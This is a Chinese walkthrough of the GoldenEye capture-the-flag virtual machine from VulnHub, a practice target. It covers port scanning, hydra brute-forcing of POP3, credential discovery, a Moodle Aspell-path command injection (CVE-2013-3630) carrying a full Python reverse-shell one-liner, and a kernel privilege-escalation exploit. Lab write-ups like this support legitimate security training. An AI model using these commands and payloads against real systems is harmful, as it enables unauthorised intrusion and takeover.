GoldenEye靶机
*download:*
https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova
环境配置
将ova文件进行下载后直接导入到vmware中,并且将网络适配器改为桥接模式
开启后,先查看靶机的mac地址
nmap -sP 172.16.10.0/24 #扫描靶机的ip地址
拿到ip地址为172.16.10.197
信息收集
nmap -sV -n -p- 172.16.10.197
开放了25、80、55006、55007
去访问80端口的网页
上面提示我需要到/sev-home/进行登录
查看到这个界面可以输入用户名和密码
但是目前没有发现有关用户名和密码的信息,去查看首页的源码查看是否有提示
发现有一个terminal.js文件,去查看文件内容
页面告诉我密码就在那段html编码中,并且出现了两个人名
Boris和Natalya
查看到密码为InvincibleHack3r
页面登录
经过terminal.js文件内容的提示使用
*用户名:boris*
*密码:InvincibleHack3r*
登录成功后提示我们要去看pop3服务
pop3服务
因为我们经过nmap扫描后,知道了55007端口是pop3服务,所以需要使用55007端口连进行登录,但是需要登录我们目前只获得到了两个用户boris和natalya
可以使用hydra进行对用户密码的爆破
要先将两个用户放入user.txt文件中
hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt 172.16.10.197 -s 55007 pop3
nc 172.16.10.197 55007
查看到第一个邮件的用户为root,但是没有扫描邮件的安全风险没有用
第二封邮件是natalya用户发给boris的,直接告诉boris,我能破解你的密码
*第三封信是**alec*告诉boris,附件是GoldenEye的最终访问代码,将它们放在这个服务器的根目录中的隐藏文件中,然后从这个电子邮件中删除。这些访问代码只能有一组,我们需要为最终执行保护它们。如果他们被抓获,我们的计划就会崩溃!
然后去看**natalya用户的邮箱
第一封讲的是root管理员用户告诉**natalya*说不要再破解boris的密码了,而且一旦有学生指定给你,会给natalya发邮件的*
第二封邮箱讲的是root管理员用户告诉natalya有新的学生,并且告诉他新学生用户名和密码
xenia:RCP90rulez!
并且需要添加域名在自己的/etc/hosts文件中
域名:severnaya-station.com
并且告诉了访问的url
进行登录后,发现xenia用户有一则消息,并且这个给他发消息的是另一个用户
再继续对这个用户进行爆破密码
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 172.16.10.197 -s 55007 pop3
然后使用得到的用户和密码进行pop3的登录
有出现了一个用户和密码,并且告诉说使用这个用户来登录培训的网站,继续收集信息,直到找到有用的信息
登录后发现在My private files中找到一个txt文件
将其进行下载
打开后告诉我们有个有趣的东西在/dir007key/for-007.jpg
使用strings工具进行分析
得到一串base64的编码信息
在上面的txt文件中有提示到这个有趣的东西会和admin用户有关
先来整理一下用户和密码
| name | password |
| ------------- | ------------------- |
| boris | secret1! |
| natalya | bird |
| doak | goat |
| admin | xWinter1995x! |
先使用admin用户来进行登录
要使用的漏洞是这个页面使用的Moodle的漏洞
Moodle Admin 用户远程命令执行漏洞(CVE-2013-3630 msf)
在moodle设置中,有一个用于配置系统路径的设置。Aspell 是可以安装在 Linux 上的拼写检查器,可以在 Moodle 中用于拼写检查操作。每当启动拼写检查操作时,moodle 将调用 Aspell 二进制文件。我们可以编辑 Aspell 的路径来获得一个反向 shell。下面是我使用的有效载荷。
使用admin用户进行登录后在服务中发现了一个Moodle的应用程序
并且能看到Moodle的版本号
方法一:
使用msfconsole直接用模块拿到shell
发现参数都写入了,但是确报错说是连接不上,只能使用手动反弹shell
反弹shell
方法二:
1.需要将命令执行的设置打开
路径为**Home->Site administrator->Text editors->TinyMCE HTML editor
需要将Spell engine改为PSpellShell
然后去写入python语句
路径
*Home->Site administrator->Server->System paths*
需要在**Path to aspell中写入
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.10.185",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
若是想要执行这个python代码需要更新自己的blog,然后使用**Toggle spellchecker执行
并且要将自己的监听端口打开,也就是1111
执行Toggle spellchecker就可以得到shell
提权
先去查看/home目录中的内容每个用户下都有mail目录,但是都没有权限。最后是查看了系统的版本号,发现可以使用系统内核提权
searchsploit -m 37292.c #将文件直接复制到当前的目录下
python3 -m http.server 8000
打开http服务,然后在靶机中进行下载
需要下到/tmp目录下,因为其他的目录可能会没有权限
gcc 37292.c -o 37292
使用gcc工具进行编译,但是发现直接在靶机中进行编译会报错,那就只能现在攻击机中编译完成后再让靶机进行下载
但是使用kali中进行编译还是会发生报错,那就无法使用gcc进行编译,要使用cc编译
并且要修改37292.c文件
找到143行,将前面的gcc改为cc
将保存好的文件让靶机进行下载
进行下载后,发现没有执行权限
chmod +x 37292.c
cc 37292.c -o 37292
将编译完成的37292运行
得到root权限
在根目录下找到flag文件
总结
这个靶机还是相对较难的,主要是细心,需要信息收集的点有很多,不能漏掉其中一步,不然就不能获取到admin用户的密码,也不可以找到Moodle的漏洞进行利用
其中使用msfconsole进行利用模块的步骤还需要再去进行研究
最后提权的部分,是之前没有遇到过的,以后要多加注意编译工具,不然就会利用不成功。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论